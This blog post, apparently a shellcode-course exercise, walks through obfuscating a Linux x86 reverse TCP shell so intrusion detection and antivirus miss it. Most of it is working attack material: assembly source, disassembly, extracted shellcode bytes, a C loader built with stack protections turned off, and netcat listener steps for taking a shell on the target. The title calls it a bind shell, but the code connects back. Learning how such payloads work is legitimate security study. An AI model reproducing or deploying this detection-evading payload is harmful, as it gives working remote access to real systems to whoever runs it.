Obfuscation Fun – Reverse TCP Bind Shell

The shellcode for analysis was retrieved from the shell-storm website here, it is shellcode that I wrote, the reason for choosing this is that it is badly written, plus it is fairly standard and thus easily detected by any self respecting intrusion system. It is also an example that can be put to use, for educational purposes only of course.

#include <stdio.h>

/*
 ipaddr 192.168.1.10 (c0a8010a)
 port 31337 (7a69)
*/
#define IPADDR "\x0a\x33\x35\x04" //"\xc0\xa8\x01\x0a"
#define PORT "\x7a\x69"

unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80";

main()
{
    printf("Shellcode Length: %dn", sizeof(code)-1);
    int (*ret)() = (int(*)())code;
    ret();
}

The task is to have some fun creating an obfuscated version of this shellcode in order to defeat some form of intrusion detection system, i.e. an anti-virus application, etc. An obfuscated version should retain the functionality of the original shellcode but change it in such a way that it becomes virtually unrecognizable from it.

Initial disassembly of shellcode:

00000000  31C0              xor eax,eax
00000002  31DB              xor ebx,ebx
00000004  31C9              xor ecx,ecx
00000006  31D2              xor edx,edx
00000008  B066              mov al,0x66
0000000A  B301              mov bl,0x1
0000000C  51                push ecx
0000000D  6A06              push byte +0x6
0000000F  6A01              push byte +0x1
00000011  6A02              push byte +0x2
00000013  89E1              mov ecx,esp
00000015  CD80              int 0x80
00000017  89C6              mov esi,eax
00000019  B066              mov al,0x66
0000001B  31DB              xor ebx,ebx
0000001D  B302              mov bl,0x2
0000001F  68C0A8010A        push dword 0xa01a8c0
00000024  66687A69          push word 0x697a
00000028  6653              push bx
0000002A  FEC3              inc bl
0000002C  89E1              mov ecx,esp
0000002E  6A10              push byte +0x10
00000030  51                push ecx
00000031  56                push esi
00000032  89E1              mov ecx,esp
00000034  CD80              int 0x80
00000036  31C9              xor ecx,ecx
00000038  B103              mov cl,0x3
0000003A  FEC9              dec cl
0000003C  B03F              mov al,0x3f
0000003E  CD80              int 0x80
00000040  75F8              jnz 0x3a
00000042  31C0              xor eax,eax
00000044  52                push edx
00000045  686E2F7368        push dword 0x68732f6e
0000004A  682F2F6269        push dword 0x69622f2f
0000004F  89E3              mov ebx,esp
00000051  52                push edx
00000052  53                push ebx
00000053  89E1              mov ecx,esp
00000055  52                push edx
00000056  89E2              mov edx,esp
00000058  B00B              mov al,0xb
0000005A  CD80              int 0x80

For a full description of this code please see this blog post, therefore no time will be spent on explaining the code and the rest of this post will be focused on creating a new obfuscated version.

Again the /bin/sh command using the execve() system call is easily detected, therefore this will be the first section subject to change. To try and do something different to other code already on this blog a new approach was decided upon. Therefore some annoying arithmetic was thought to be a good way to go. For that added bit of confusion a jmp/call/pop was used to obscure the already obscure data.
The data below contains the /bin/sh command, the number to add to the command bytes to render them valid, plus at the start and end are extra values which will be used.

db 0x66,0x5c,0xfd,0x2d,0x14,0x1d,0xfd,0x1c,0x15,0x12,0x32,0x45,0x54,0x3f

This works as follows, the figure for subtracting from the original data is purely random, supposedly.

0x68732f6e – 0x54453212 = 0x142dfd5c (0x5c,0xfd,0x2d,0x14)
0x69622f2f – 0x54453212 = 0x151cfd1d (0x1d,0xfd,0x1c,0x15)
0x54453212 (0x12,0x32,0x45,0x54)

The code snippets below show how this is used.

    ...
    jmp args
useargs:
    pop edi
    ...
    xor eax,eax
    push edx
    mov eax,[edi+0x1]
    mov ebp,[edi+0x9]
    add eax,ebp
    push eax
    mov eax,[edi+0x5]
    add eax,ebp
    push eax
    ...
args:
    call useargs
    db 0x66,0x5c,0xfd,0x2d,0x14,0x1d,0xfd,0x1c,0x15,0x12,0x32,0x45,0x54,0x3f

Compare this to the same section of code in the original shellcode and you can see it is a much more involved process to make sense from the code.

    xor eax,eax
    push edx
    push dword 0x68732f6e
    push dword 0x69622f2f

The 0x66 at the head of the data and 0x3f at the tail are used to identify functions within system calls, like so.

    ;socket
    mov al,[edi]      ; socketcall()
    int 0x80
    ;connect
    mov al,[edi]      ; socketcall()
    int 0x80
    ;dup2
    mov al,[edi+0xd]  ; dup2
    int 0x80

Finally make sure it is more annoying than it should be to reverse the shellcode it was decided to add a few jumps in the code rather than just have the code run through sequentially. This is just to add a few more seconds onto any outside analysis. So with the concoction of ideas put together, the final assembly language program looks like this,

global _start
section .text
_start:
    xor ebx,ebx
    imul ebx
    jmp args
useargs:
    pop edi
    jmp socket
connect:
    mov esi,eax
    xor ebx,ebx
    inc bl
    inc bl
    push dword 0xa01a8c0 ;(192.168.1.10)
    push word 0x697a
    push bx
    inc bl
    mov ecx,esp
    push byte +0x10
    push ecx
    push esi
    mov ecx,esp
    mov al,[edi]
    int 0x80
    xor ecx,ecx
    add cl,0x2
    inc cl
lbl1:
    dec cl
    mov al,[edi+0xd]
    int 0x80
    jnz lbl1
    jmp execve
socket:
    inc bl
    push ecx
    push byte 0x6
    push byte 0x1
    push byte 0x2
    mov ecx,esp
    mov al,[edi]
    int 0x80
    jmp connect
execve:
    xor eax,eax
    push edx
    mov eax,[edi+0x1]
    mov ebp,[edi+0x9]
    add eax,ebp
    push eax
    mov eax,[edi+0x5]
    add eax,ebp
    push eax
    xor eax,eax
    mov ebx,esp
    push edx
    push ebx
    mov ecx,esp
    push edx
    mov edx,esp
    mov al,0xb
    int 0x80
args:
    call useargs
    db 0x66,0x5c,0xfd,0x2d,0x14,0x1d,0xfd,0x1c,0x15,0x12,0x32,0x45,0x54,0x3f

Build the code:
$ nasm -felf32 -o obfuscated.asm obfuscated.o
$ ld -o obfuscated obfuscated.o

Test for nulls:
$ objdump -D obfuscated -M intel

obfuscated:     file format elf32-i386
Disassembly of section .text:

08048060 <_start>:
 8048060:	31 db                	xor    ebx,ebx
 8048062:	f7 eb                	imul   ebx
 8048064:	eb 68                	jmp    80480ce <args>
08048066 <useargs>:
 8048066:	5f                   	pop    edi
 8048067:	eb 33                	jmp    804809c <socket>
08048069 <connect>:
 8048069:	89 c6                	mov    esi,eax
 804806b:	31 db                	xor    ebx,ebx
 804806d:	fe c3                	inc    bl
 804806f:	fe c3                	inc    bl
 8048071:	68 0a 33 35 04       	push   0x435330a
 8048076:	66 68 7a 69          	pushw  0x697a
 804807a:	66 53                	push   bx
 804807c:	fe c3                	inc    bl
 804807e:	89 e1                	mov    ecx,esp
 8048080:	6a 10                	push   0x10
 8048082:	51                   	push   ecx
 8048083:	56                   	push   esi
 8048084:	89 e1                	mov    ecx,esp
 8048086:	8a 07                	mov    al,BYTE PTR [edi]
 8048088:	cd 80                	int    0x80
 804808a:	31 c9                	xor    ecx,ecx
 804808c:	80 c1 02             	add    cl,0x2
 804808f:	fe c1                	inc    cl
08048091 <lbl1>:
 8048091:	fe c9                	dec    cl
 8048093:	8a 47 0d             	mov    al,BYTE PTR [edi+0xd]
 8048096:	cd 80                	int    0x80
 8048098:	75 f7                	jne    8048091 <lbl1>
 804809a:	eb 11                	jmp    80480ad <execve>
0804809c <socket>:
 804809c:	fe c3                	inc    bl
 804809e:	51                   	push   ecx
 804809f:	6a 06                	push   0x6
 80480a1:	6a 01                	push   0x1
 80480a3:	6a 02                	push   0x2
 80480a5:	89 e1                	mov    ecx,esp
 80480a7:	8a 07                	mov    al,BYTE PTR [edi]
 80480a9:	cd 80                	int    0x80
 80480ab:	eb bc                	jmp    8048069 <connect>
080480ad <execve>:
 80480ad:	31 c0                	xor    eax,eax
 80480af:	52                   	push   edx
 80480b0:	8b 47 01             	mov    eax,DWORD PTR [edi+0x1]
 80480b3:	8b 6f 09             	mov    ebp,DWORD PTR [edi+0x9]
 80480b6:	01 e8                	add    eax,ebp
 80480b8:	50                   	push   eax
 80480b9:	8b 47 05             	mov    eax,DWORD PTR [edi+0x5]
 80480bc:	01 e8                	add    eax,ebp
 80480be:	50                   	push   eax
 80480bf:	31 c0                	xor    eax,eax
 80480c1:	89 e3                	mov    ebx,esp
 80480c3:	52                   	push   edx
 80480c4:	53                   	push   ebx
 80480c5:	89 e1                	mov    ecx,esp
 80480c7:	52                   	push   edx
 80480c8:	89 e2                	mov    edx,esp
 80480ca:	b0 0b                	mov    al,0xb
 80480cc:	cd 80                	int    0x80
080480ce <args>:
 80480ce:	e8 93 ff ff ff       	call   8048066 <useargs>
 80480d3:	66 5c                	pop    sp
 80480d5:	fd                   	std
 80480d6:	2d 14 1d fd 1c       	sub    eax,0x1cfd1d14
 80480db:	15 12 32 45 54       	adc    eax,0x54453212
 80480e0:	3f                   	aas

Test above executable using two systems (virtual or otherwise):
Open a terminal on the attack system,
$ nc -l -v 31337
the attack system will await a connection from the compromised system.

Open a terminal on the system to be compromised,
$ ./obfuscated
on the attack system a connection message should now appear, shell access is now available on the compromised system. Try typing in some commands to prove this is the case.

Get shellcode from executable:
Use the following from the commandlinefu website replacing PROGRAM with the name of the required executable like so

$ objdump -d ./obfuscated | grep ‘[0-9a-f]:’ | grep -v ‘file’ | cut -f2 -d: | cut -f1-6 -d’ ‘ | tr -s ‘ ‘ | tr ‘t’ ‘ ‘ | sed ‘s/ $//g’ | sed ‘s/ /x/g’ | paste -d ” -s | sed ‘s/^/”/’ | sed ‘s/$/”/g’

“\x31\xdb\xf7\xeb\xeb\x68\x5f\xeb\x33\x89\xc6\x31\xdb\xfe\xc3\xfe\xc3\x68\x0a\x33\x35\x04\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\x8a\x07\xcd\x80\x31\xc9\x80\xc1\x02\xfe\xc1\xfe\xc9\x8a\x47\x0d\xcd\x80\x75\xf7\xeb\x11\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x8a\x07\xcd\x80\xeb\xbc\x31\xc0\x52\x8b\x47\x01\x8b\x6f\x09\x01\xe8\x50\x8b\x47\x05\x01\xe8\x50\x31\xc0\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80\xe8\x93\xff\xff\xff\x66\x5c\xfd\x2d\x14\x1d\xfd\x1c\x15\x12\x32\x45\x54\x3f”

The shellcode can be copied and pasted into a test program, similar to the one below. The #define IPADDR and PORT is to allow for the simple configuration of IP Address and Port.

#include <stdio.h>

/*
 ipaddr 192.168.1.10 (c0a8010a)
 port 31337 (7a69)
*/
#define IPADDR "xc0xa8x01x0a"
#define PORT "x7ax69"

unsigned char code[] =
"\x31\xdb\xf7\xeb\xeb\x68\x5f\xeb\x33\x89\xc6\x31\xdb\xfe\xc3\xfe\xc3"
"\x68"IPADDR"\x66\x68"PORT"\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56"
"\x89\xe1\x8a\x07\xcd\x80\x31\xc9\x80\xc1\x02\xfe\xc1\xfe\xc9\x8a\x47"
"\x0d\xcd\x80\x75\xf7\xeb\x11\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89"
"\xe1\x8a\x07\xcd\x80\xeb\xbc\x31\xc0\x52\x8b\x47\x01\x8b\x6f\x09\x01"
"\xe8\x50\x8b\x47\x05\x01\xe8\x50\x31\xc0\x89\xe3\x52\x53\x89\xe1\x52"
"\x89\xe2\xb0\x0b\xcd\x80\xe8\x93\xff\xff\xff\x66\x5c\xfd\x2d\x14\x1d"
"\xfd\x1c\x15\x12\x32\x45\x54\x3f";

main()
{
    printf("Shellcode Length: %dn", sizeof(code)-1);
    int (*ret)() = (int(*)())code;
    ret();
}

Build the code:
$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
The options for gcc are to disable stack protection and enable stack execution respectively. Without these options the code will cause a segfault.

Test above executable using two systems (virtual or otherwise):
Open a terminal on the attack system,
$ nc -l -v 31337
the attack system will await a connection from the compromised system.

Open a terminal on the system to be compromised,
$ ./shellcode
on the attack system a connection message should now appear, shell access is now available on the compromised system. Try typing in some commands to prove this is the case.

The shellcode is 129 bytes, I could have tried to make the code smaller than the original, but there was more fun to be had in trying out different ideas without the worry of code size.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s